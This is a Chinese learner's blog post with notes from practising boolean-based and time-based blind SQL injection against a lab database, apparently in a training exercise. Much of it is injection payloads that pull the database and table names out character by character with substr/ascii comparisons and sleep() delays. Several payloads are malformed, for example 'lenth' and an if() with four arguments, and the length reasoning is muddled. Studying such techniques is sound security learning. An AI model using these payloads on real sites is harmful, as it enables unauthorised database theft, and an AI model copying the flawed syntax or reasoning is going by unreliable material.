zoukankan      html  css  js  c++  java
  • 大哥带我走渗透ii--时间盲注,布尔盲注

    5/27

    基于布尔的盲注

    1. 我连题目都看不懂555,先去补充一点知识。https://blog.csdn.net/weixin_40709439/article/details/81355856
    2. 返回的true或者false
      •  构造payload让信息通过错误提示回显出来,一种类型(其它的暂时不怎么了解)是先报字段数,再利用后台数据库报错机制回显(跟一般的报错区别是,一般的报错注入是爆出字段数后,在此基础通过正确的查询语句,使结果回显到页面;
      •  后者是在爆出字段数的基础上使用能触发SQL报错机制的注入语句
    3. 接下来看看是否报

     

    在这里我多加了一个‘  ,说明前面是一个完整的一对单引号;

    4. 开始测试

    • 第一步我们测试长度

     

    构造语句:

    ...... and lenth((select database()))>5 #查询当前数据库字段的长度

    .......错误,说明太长了。

    大于3成立,小于4也成立,大于4不成立,所以length取3,但是实际的要加一,长度就是4;大于他就取他+1

    5.利用substr()ascii()函数进行尝试,猜测数据库中的第一个表的第一个字符;

    ascii(x)=101,判断x的ascii码是否等于101,即email中的字母e

    substr(a,b,c)从 b 位置开始, 截取字符串 a 的 c 长度

    ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101

    这里,大于100成立,测试得出取115

    SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),1,1))>115

    6.我们继续测试其他字段,一共有4个;虽然组长哪里有答案,但是我还是自己测试了(最后一个除外),,emmmm练手??

    • SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),1,1))>115    # 116 t
    • SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),2,1))>100   # e
    • SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),3,1))>114   # s
    • SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),4,1))>115   # t

     

    6.所以该数据库的名字为test,接下来我们判断数据库中有多少表

    length((select table_name from information_schema.tables where table_schema='test' limit 0,1))>5 
    #

    组长这里写的长度为4,但是我觉得应该是5;

    7.构造爆表语句:

    表一:

    • ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))>96
    • ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),2,1))>???
    • ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),3,1))>96
    • ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),4,1))>96
    • ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),5,1))>96

    表二:

    • ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 1,1),1,1))>96

    username password

    5/27  mysql注入 基于时间的盲注

    1.基于时间盲注,类似于基于布尔的盲注,通过注入特定语句,根据判断结果的对错将会出现一定时间的网页请求响应的延时。

    https://www.cnblogs.com/-zhong/p/10931563.html

    2.and1=1  and1=2 都是一样的界面

    https://blog.csdn.net/DarkHQ/article/details/79274376

    3.检测语句:利用sleep()函数进行延时注入

     and if(ascii(substr((select database()),1,1))>10000,1,sleep(5))  #返回是错误就延时5秒,if(a,b,c),如果条件b

    300

    4.开始猜长度,构造语句:

    if(length((select database()))>3,1,sleep(5))

    所以字段有4位,

    5.接下来就开始爆表名。

    构造语句:

    • if(ascii(substr((select database()),1,1))=??,1,sleep(5),1)
    • if(ascii(substr((select database()),2,1))=??,1,sleep(5),1)
    • if(ascii(substr((select database()),3,1))=??,1,sleep(5),1)
    • if(ascii(substr((select database()),4,1))=??,1,sleep(5),1)

    这个就很不一样了,,睡代表真===

    所以得到第一个字母:116 t

    最后得出:test

    6.开始构造第一个字母。

    ?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))>100,1,sleep(5))

    后面是,爆完字段爆表名,报完表名爆表里面的单个字名,

     ===写不来了。。。看组长的===https://www.cnblogs.com/-zhong/p/10931563.html

  • 相关阅读:
    hashlib模块
    sys模块
    random模块
    time模块
    生成器、迭代器
    装饰器
    函数相关内容
    集合相关操作
    springcloud(四):Eureka的配置详解
    springcloud(二):Eureka服务注册与发现
  • 原文地址:https://www.cnblogs.com/TEAM0N/p/infiltration-II.html
Copyright © 2011-2022 走看看